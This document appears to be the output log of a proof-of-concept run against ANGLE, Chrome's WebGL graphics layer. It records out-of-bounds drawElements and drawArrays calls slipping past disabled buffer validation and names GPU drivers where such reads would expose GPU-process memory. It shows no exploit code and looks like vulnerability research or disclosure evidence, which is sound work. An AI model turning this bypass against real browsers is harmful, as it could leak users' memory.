[POC][DisplayEGL::initializeContext] creating native EGL context with attribs: 0x3098=0x3 0x30fb=0x2 0x31bd=0x31bf (EGL_CONTEXT_OPENGL_ROBUST_ACCESS_EXT=0x30BF: **MISSING**) [POC][renderergl_utils] native GL_CONTEXT_FLAGS=0x0 ROBUST_ACCESS_BIT=**UNSET**, advertising robustBufferAccessBehaviorKHR=true [POC][Context::initializeDefaultResources] isWebGL=0 hasRobustAccess=0 backend.robustBufferAccessBehaviorKHR=0 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=0 hasRobustAccess=0 backend.robustBufferAccessBehaviorKHR=0 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=0 hasRobustAccess=0 backend.robustBufferAccessBehaviorKHR=0 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=0 hasRobustAccess=0 backend.robustBufferAccessBehaviorKHR=0 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [POC][Context::initializeDefaultResources] isWebGL=1 hasRobustAccess=1 backend.robustBufferAccessBehaviorKHR=1 -> mBufferAccessValidationEnabled=0 [1745:1745:0526/232430.213856:INFO:CONSOLE:10] "[POC] GL_VENDOR: WebKit", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.216003:INFO:CONSOLE:10] "[POC] GL_RENDERER: WebKit WebGL", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.216690:INFO:CONSOLE:10] "[POC] UNMASKED_VENDOR: Google Inc. (Mesa/X.org)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.217118:INFO:CONSOLE:10] "[POC] UNMASKED_RENDERER: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL ES 3.2)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.231106:INFO:CONSOLE:10] "[POC] ", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.232420:INFO:CONSOLE:10] "[POC] [1] drawElements(OOB indices, max=0x3fffffff) -> gl.getError() = 0x0", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.233112:INFO:CONSOLE:10] "[POC] *** ANGLE forwarded OOB drawElements to native driver (CPU validation OFF)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.360877:INFO:CONSOLE:10] "[POC] ", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.361704:INFO:CONSOLE:10] "[POC] [2] drawArrays(first=OOB) under transform feedback -> all calls accepted (NO_ERROR)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.362938:INFO:CONSOLE:10] "[POC] ", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.363461:INFO:CONSOLE:10] "[POC] first | fetched attribute (raw hex / float)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.363965:INFO:CONSOLE:10] "[POC] 0 | 3f800000 40000000 40400000 40800000 (1,2,3,4)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.364416:INFO:CONSOLE:10] "[POC] 1 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.364883:INFO:CONSOLE:10] "[POC] 2 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.365397:INFO:CONSOLE:10] "[POC] 4 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.365797:INFO:CONSOLE:10] "[POC] 16 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.366242:INFO:CONSOLE:10] "[POC] 64 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.366648:INFO:CONSOLE:10] "[POC] 256 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.367084:INFO:CONSOLE:10] "[POC] 1024 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.367546:INFO:CONSOLE:10] "[POC] 4096 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.368016:INFO:CONSOLE:10] "[POC] 65536 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.368496:INFO:CONSOLE:10] "[POC] 1048576 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.368991:INFO:CONSOLE:10] "[POC] 16777216 | 00000000 00000000 00000000 00000000 (0,0,0,0)", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.369489:INFO:CONSOLE:10] "[POC] ", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.369861:INFO:CONSOLE:10] "[POC] === RESULT: ANGLE validation BYPASSED; OOB draw reached native driver,", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.370269:INFO:CONSOLE:10] "[POC] but this driver happens to zero/clamp OOB fetches.", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.370614:INFO:CONSOLE:10] "[POC] On drivers that do not unconditionally clamp (Mali, Adreno,", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.370964:INFO:CONSOLE:10] "[POC] desktop NVIDIA/AMD GL), these reads return GPU-process memory.", source: http://127.0.0.1:8080/poc.html (10) [1745:1745:0526/232430.371323:INFO:CONSOLE:10] "[POC] === DONE ===", source: http://127.0.0.1:8080/poc.html (10) === JavaScript console (cleaned) === GL_VENDOR: WebKit GL_RENDERER: WebKit WebGL UNMASKED_VENDOR: Google Inc. (Mesa/X.org) UNMASKED_RENDERER: ANGLE (Mesa/X.org, llvmpipe (LLVM 15.0.6 256 bits), OpenGL ES 3.2) [1] drawElements(OOB indices, max=0x3fffffff) -> gl.getError() = 0x0 *** ANGLE forwarded OOB drawElements to native driver (CPU validation OFF) [2] drawArrays(first=OOB) under transform feedback -> all calls accepted (NO_ERROR) first | fetched attribute (raw hex / float) 0 | 3f800000 40000000 40400000 40800000 (1,2,3,4) 1 | 00000000 00000000 00000000 00000000 (0,0,0,0) 2 | 00000000 00000000 00000000 00000000 (0,0,0,0) 4 | 00000000 00000000 00000000 00000000 (0,0,0,0) 16 | 00000000 00000000 00000000 00000000 (0,0,0,0) 64 | 00000000 00000000 00000000 00000000 (0,0,0,0) 256 | 00000000 00000000 00000000 00000000 (0,0,0,0) 1024 | 00000000 00000000 00000000 00000000 (0,0,0,0) 4096 | 00000000 00000000 00000000 00000000 (0,0,0,0) 65536 | 00000000 00000000 00000000 00000000 (0,0,0,0) 1048576 | 00000000 00000000 00000000 00000000 (0,0,0,0) 16777216 | 00000000 00000000 00000000 00000000 (0,0,0,0) === RESULT: ANGLE validation BYPASSED; OOB draw reached native driver, but this driver happens to zero/clamp OOB fetches. On drivers that do not unconditionally clamp (Mali, Adreno, desktop NVIDIA/AMD GL), these reads return GPU-process memory. === DONE ===